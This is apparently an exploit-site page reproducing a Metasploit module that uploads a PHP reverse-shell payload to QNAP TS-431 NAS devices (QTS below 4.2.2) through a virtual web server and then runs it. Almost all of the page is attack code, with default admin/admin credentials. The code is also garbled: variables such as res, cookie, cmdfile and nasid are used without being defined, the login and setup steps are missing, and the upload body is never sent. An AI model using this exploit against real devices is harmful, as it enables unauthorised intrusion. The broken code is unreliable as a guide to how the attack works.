Exploits / Vulnerability Discovered : 2019-03-07 |
Type : remote |
Platform : hardware
This exploit / vulnerability Qnap ts431 qts < 4.2.2 remote command execution (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'base64'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize
super(
'Name' => 'QNAP TS-431 QTS < 4.2.2 - Remote Command Execution',
'Description' => %q{
This module creates a virtual web server and uploads the php payload into it.
Admin privileges cannot access any server files except File Station files.
The user who is authorized to create Virtual Web Server can upload malicious php file by activating the server.
Exploit creates a new directory into File Station to connect to the web server.
However, only the "index.php" file is allowed to work in the virtual web server directory.
No files can be executed except "index.php". Gives an access error.
After the harmful "index.php" has been uploaded, the shell can be retrieved from the server.
There is also the possibility of working in higher versions.
},
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf Module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://pentest.com.tr/exploits/QNAP-QTS-4-2-2-Remote-Command-Execution-Metasploit.html'],
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['QNAP QTS <= 4.2.2', {}]
],
'DisclosureDate' => '06 March 2019',
'Privileged' => false,
'DefaultTarget' => 0
)
register_options(
[
OptBool.new('SSL', [true, 'Use SSL', false]),
OptString.new('TARGETURI', [true, 'The base path to QNAP', '/']),
OptString.new('USER', [true, 'User to login with', 'admin']),
OptString.new('PASS', [true, 'Password to login with', 'admin']),
], self.class)
end
##
# Check Exploit Vulnerable
##
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri, "/cgi-bin/login.html")
})
if res and res.code == 200 and res.body =~ /dc=4.2./
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
return res
end
##
# Login
##
def exploit
if res and res.code == 200
print_good("Virtual Host Started on port 4443")
else
print_error("Process Failed")
end
##
# Fetching upload_id information
##
print_status("Attempting to Upload get Upload ID")
res = send_request_cgi({
'method' => 'POST',
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "/cgi-bin/filemanager/utilRequest.cgi?func=start_chunked_upload"),
'vars_post' => {
"upload_root_dir" => "/#{cmdfile}",
"sid" => "#{nasid}"
}
})
if res and res.code == 200 and res.body =~ /upload_id/
print_good("Login successful")
uploadid = res.body.split("upload_id")[1].split('"')[2]
print_status("Upload ID = #{uploadid}")
else
print_error("Login failed")
end
##
# Upload Payload
##
boundary = Rex::Text.rand_text_alphanumeric(29)
data = "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"fileName\"\r\n\r\n"
data << "msf.php\r\n-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"file\"; filename=\"blob\"\r\n"
data << "Content-Type: application/octet-stream\r\n\r\n"
data << payload.encoded
data << "\r\n-----------------------------{boundary}--\r\n"
print_status("Attempting to Upload Payload to Reverse Shell")
if res and res.code == 200
print_good("Payload Uploaded Successful")
else
print_error("Upload Failed")
end
##
# Execute the Payload
##
print_status("Attempting to execute the payload...")
res = request_url("http://#{rhost}:4443/index.php")
if res and res.code == 200
print_good "Payload executed successfully"
end
end
end
##
# End
##